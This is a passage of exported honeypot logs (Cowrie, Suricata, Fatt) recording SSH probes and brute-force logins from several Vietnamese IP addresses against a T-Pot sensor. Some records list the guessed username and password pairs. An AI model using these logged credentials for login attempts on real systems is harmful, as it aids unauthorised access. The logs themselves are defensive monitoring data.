23039	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:21.13006+03	2021-09-20 14:15:06.99447+03	{"_id": "GwbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57674, "timestamp": "2021-09-20T11:07:21.130060", "@timestamp": "2021-09-20T11:07:21.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23040	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.034675+03	2021-09-20 14:15:06.99547+03	{"_id": "BQbjAnwBvYTbRNuElwqv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3a9028970e07", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.034675Z", "@timestamp": "2021-09-20T11:07:22.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23041	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.548033+03	2021-09-20 14:15:06.9965+03	{"_id": "HgbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "29caf887c4ba", "@version": "1", "duration": 3.4638826847076416, "timestamp": "2021-09-20T11:07:21.548033Z", "@timestamp": "2021-09-20T11:07:21.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23042	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.020492+03	2021-09-20 14:15:06.997501+03	{"_id": "IgbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8c04553a1997", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.020492Z", "@timestamp": "2021-09-20T11:07:22.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23043	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.216672+03	2021-09-20 14:15:06.998506+03	{"_id": "JAbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/Passw0rd] failed", "session": "c3830fb13224", "@version": "1", "password": "Passw0rd", "username": "root", "timestamp": "2021-09-20T11:07:22.216672Z", "@timestamp": "2021-09-20T11:07:22.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23044	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:22.23609+03	2021-09-20 14:15:06.9995+03	{"_id": "NgbjAnwBvYTbRNuEmgol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1695994192983179, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47292, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.236090Z", "@timestamp": "2021-09-20T11:07:22.236Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23045	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:22.679349+03	2021-09-20 14:15:07.0015+03	{"_id": "NwbjAnwBvYTbRNuEmgol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 74223132013091, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44428, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.679349Z", "@timestamp": "2021-09-20T11:07:22.679Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23046	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:22.310063+03	2021-09-20 14:15:07.002472+03	{"_id": "OgbjAnwBvYTbRNuEmgom", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 744725508876230, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38694, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.310063Z", "@timestamp": "2021-09-20T11:07:22.310Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23047	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:22.927539+03	2021-09-20 14:15:07.003501+03	{"_id": "OwbjAnwBvYTbRNuEmgom", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 824560361047405, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58830, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.927539Z", "@timestamp": "2021-09-20T11:07:22.927Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23048	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:22.297682+03	2021-09-20 14:15:07.005503+03	{"_id": "OAbjAnwBvYTbRNuEmgom", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2176336892859875, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60758, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.297682Z", "@timestamp": "2021-09-20T11:07:22.297Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23049	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:22.872282+03	2021-09-20 14:15:07.006524+03	{"_id": "OQbjAnwBvYTbRNuEmgom", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 30657131222333, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54358, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.872282Z", "@timestamp": "2021-09-20T11:07:22.872Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23825	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:45.903713+03	2021-09-20 14:15:08.003471+03	{"_id": "1gbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ea26a28b5892", "@version": "1", "duration": 2.6809675693511963, "timestamp": "2021-09-20T11:07:45.903713Z", "@timestamp": "2021-09-20T11:07:45.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23050	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.488645+03	2021-09-20 14:15:07.007471+03	{"_id": "IwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44522 (192.168.176.2:22) [session: 3f8180470eb2]", "session": "3f8180470eb2", "@version": "1", "protocol": "ssh", "src_port": 44522, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.488645Z", "@timestamp": "2021-09-20T11:07:17.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23051	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.081435+03	2021-09-20 14:15:07.00847+03	{"_id": "JAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51570 (192.168.176.2:22) [session: 29caf887c4ba]", "session": "29caf887c4ba", "@version": "1", "protocol": "ssh", "src_port": 51570, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.081435Z", "@timestamp": "2021-09-20T11:07:18.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23052	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.483984+03	2021-09-20 14:15:07.0105+03	{"_id": "LAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "4f296091d354", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:07:17.483984Z", "@timestamp": "2021-09-20T11:07:17.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23053	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.490729+03	2021-09-20 14:15:07.01147+03	{"_id": "LQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3f8180470eb2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.490729Z", "@timestamp": "2021-09-20T11:07:17.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23054	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.661489+03	2021-09-20 14:15:07.01247+03	{"_id": "LgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [chris/123456] failed", "session": "5b8be0924f8c", "@version": "1", "password": "123456", "username": "chris", "timestamp": "2021-09-20T11:07:17.661489Z", "@timestamp": "2021-09-20T11:07:17.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23055	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:17.921856+03	2021-09-20 14:15:07.013471+03	{"_id": "LwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b37c111a99c4", "@version": "1", "timestamp": "2021-09-20T11:07:17.921856Z", "@timestamp": "2021-09-20T11:07:17.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23057	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.084497+03	2021-09-20 14:15:07.0165+03	{"_id": "MQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "29caf887c4ba", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.084497Z", "@timestamp": "2021-09-20T11:07:18.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23058	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:18.30828+03	2021-09-20 14:15:07.017501+03	{"_id": "RAbjAnwBvYTbRNuEigmA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 128515813240706, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.308280Z", "@timestamp": "2021-09-20T11:07:18.308Z", 